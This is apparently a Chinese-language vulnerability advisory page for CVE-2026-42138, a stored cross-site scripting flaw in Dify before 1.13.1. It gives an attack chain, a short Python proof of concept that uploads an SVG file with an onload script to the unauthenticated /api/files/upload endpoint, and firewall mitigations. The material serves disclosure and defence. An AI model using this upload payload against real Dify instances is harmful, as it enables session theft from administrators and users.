IPBUF安全漏洞报告
English
CVE-2026-42138 CVSS 6.1 中危

CVE-2026-42138 Dify跨站脚本漏洞

披露日期: 2026-05-04

漏洞信息

漏洞编号
CVE-2026-42138
漏洞类型
跨站脚本攻击 (XSS)
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Dify

相关标签

XSSDifyCVE-2026-42138文件上传SVG注入

漏洞概述

Dify是一个开源LLM应用开发平台。在1.13.1版本之前,未经身份验证的攻击者可利用POST /api/files/upload接口上传包含恶意JavaScript代码的SVG文件,导致存储型XSS漏洞。该漏洞允许攻击者在受害者浏览器中执行脚本,窃取敏感数据或进行恶意操作。

技术细节

该漏洞源于Dify在处理文件上传时未对SVG文件内容进行充分的过滤。SVG文件格式允许嵌入XML和JavaScript脚本。攻击者构造包含onload或其他事件处理器的恶意SVG文件,通过/api/files/upload(无需认证)或/v1/files/upload(需认证)接口上传。当管理员或用户访问该SVG文件的URL时,浏览器会解析SVG并执行其中的恶意脚本,从而导致XSS攻击。

攻击链分析

STEP 1
步骤1:信息收集
攻击者识别目标Dify平台,确认其版本低于1.13.1,并发现文件上传接口/api/files/upload。
STEP 2
步骤2:构造恶意载荷
攻击者创建一个包含JavaScript代码(如alert或cookie窃取脚本)的SVG文件。
STEP 3
步骤3:上传文件
攻击者向目标服务器发送POST请求,上传构造好的恶意SVG文件。
STEP 4
步骤4:诱导访问
攻击者诱导管理员或授权用户点击/查看上传后的SVG文件链接。
STEP 5
步骤5:执行攻击
受害者浏览器解析SVG文件并执行其中的恶意脚本,攻击者获取敏感信息。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests target_url = "http://target-domain.com/api/files/upload" # Malicious SVG containing XSS payload svg_payload = """<svg xmlns="http://www.w3.org/2000/svg" onload="alert('XSS')"> <circle cx="50" cy="50" r="40" stroke="green" stroke-width="4" fill="yellow" /> </svg>""" files = { 'file': ('malicious.svg', svg_payload, 'image/svg+xml') } response = requests.post(target_url, files=files) if response.status_code == 200: print("[+] Exploit file uploaded successfully.") print("[+] Check the returned URL or file preview to trigger XSS.") else: print("[-] Upload failed.")

影响范围

Dify < 1.13.1

防御指南

临时缓解措施
若无法立即升级,建议在Web应用防火墙(WAF)中添加规则,拦截对/api/files/upload接口上传SVG文件的请求,或者在代理服务器层面将Content-Type设置为强制下载,阻止浏览器直接渲染SVG内容。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表